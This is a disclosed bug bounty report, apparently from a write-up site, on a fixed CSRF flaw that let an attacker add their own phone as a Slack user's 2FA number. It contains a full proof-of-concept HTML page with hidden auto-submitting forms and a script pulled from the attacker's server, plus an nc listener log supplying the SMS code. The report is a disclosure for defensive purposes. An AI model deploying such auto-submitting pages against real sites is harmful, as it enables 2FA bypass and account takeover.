CSRF - Add optional two factor mobile number
The endpoint for adding a 2FA mobile number did not validate the CSRF token, so an attacker could force a logged-in victim to add the attacker's phone number and then verify it. The attacker could then log in using the password and receive the 2FA code on their own phone, bypassing 2FA.
- Triaged in 33 hours
- Fixed in 7 days
- Paid in 7 days
- Disclosed after 16 days
Description
Adding a mobile number for 2-factor authentication is vulnerable to CSRF, allowing an attacker to bypass 2-factor authentication. An attacker would be able to force the logged in user to add a new mobile number for 2-factor authentication. The attacker would then receive the SMS code and automatically make the victim verify it (in Javascript). When the attacker attempts to login to the victim's account, the verification code can then be sent to the attacker's mobile number.
An attacker could be anyone trying to bypass 2-factor authentication, for example:
- Anyone who already has the password to an account.
- A company's IT administrator who has access to the user's e-mail and can reset the password.
I have provided a complete Proof of Concept without the crumb parameter, which I have manually verified myself.
Vulnerable URL:
- /account/settings/2fa_sms
Root cause:
Server does not validate the existence or value of the crumb parameter containing the CSRF token.
Sample vulnerable request:
POST /account/settings/2fa_sms HTTP/1.1
Host: cs-sa.slack.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: REDACTED=REDACTED
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
verify_two_factor=1&backup=&app=&primary_phone_number=%2B61+0████████&country_code=AU&phone_number=█████████
Attack flow:
- Attacker sends logged in slack user a link and slack user clicks it.
- The link contains HTML and Javascript code that forces the victim in to adding a new 2-factor mobile number (slackcsrf.html provided below). The code does not contain the crumb parameter.
- The code also connects back to the attacker's machine waiting for the attacker to enter the code so it can be used for verification (within seconds and potentially automatically).
- The attacker receives the code via SMS and sends it back to the victim. (Attacker web server provided below)
- The HTML code forces the victim to verify the new mobile number.
- The mobile number has now been added to the victim's account for 2FA.
- The attacker logs in and bypasses 2FA by requesting the code with the secondary mobile number.
slackcsrf.html:
<html>
<body>
<IFRAME style="display:none" name="hidden-form"></iframe>
<form action="https://cs-sa.slack.com/account/settings/2fa_sms" method="POST" target="hidden-form" name="pocframe">
<input type="hidden" name="verify_two_factor" value="1" />
<input type="hidden" name="backup" value="" />
<input type="hidden" name="app" value="" />
<input type="hidden" name="country_code" value="AU" />
<input type="hidden" name="phone_number" value="█████████" />
</form>
<script>document.pocframe.submit();</script>
<script src="http://192.168.1.82:8080/a"></script>
<IFRAME style="display:none" name="hidden-form2"></iframe>
<form action="https://cs-sa.slack.com/account/settings/2fa_sms" method="POST" target="hidden-form2" name="pocframe2">
<input type="hidden" name="verify_two_factor" value="1" />
<input type="hidden" name="backup" value="1" />
<input type="hidden" name="app" value="" />
<input type="hidden" name="formatted_phone_number" value="+61 ████████" />
<input type="hidden" name="country_code" value="AU" />
<input type="hidden" id="scode" name="confirmation_code" value="" />
</form>
<script>
document.getElementById("scode").value = scode;
document.pocframe2.submit();
</script>
</body>
</html>
Attacker web server:
root@foxtrotter:/var/www/html# nc -nlvp 8080
listening on [any] 8080 ...
connect to [192.168.1.82] from (UNKNOWN) [192.168.1.81] 56194
GET /a HTTP/1.1
Host: 192.168.1.82:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.82/slackcsrf.html
Connection: close
Cache-Control: max-age=0
HTTP/1.1 200 OK
scode=196206;
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker who already has the victim's password could bypass 2FA on the account.
What the attacker needed
Attacker knows victim's password; victim is logged in; victim clicks a link
How it was found
- The attacker sends a logged-in user a link to a page containing HTML and JavaScript.
- The page automatically submits a form to the 2FA settings endpoint without the CSRF token, adding the attacker's phone number.
- The page loads a script from the attacker's server, which supplies the verification code.
- The page submits a second form to verify the new phone number.
- The attacker logs in and requests the 2FA code, which is sent to the attacker's phone.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log in, the site gives your browser a secret token to prove that requests come from your own action. This report shows that one form ignored that token, so another website could silently submit it for you. An attacker who already knows your password could then add their own phone as a second factor and receive your login codes.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.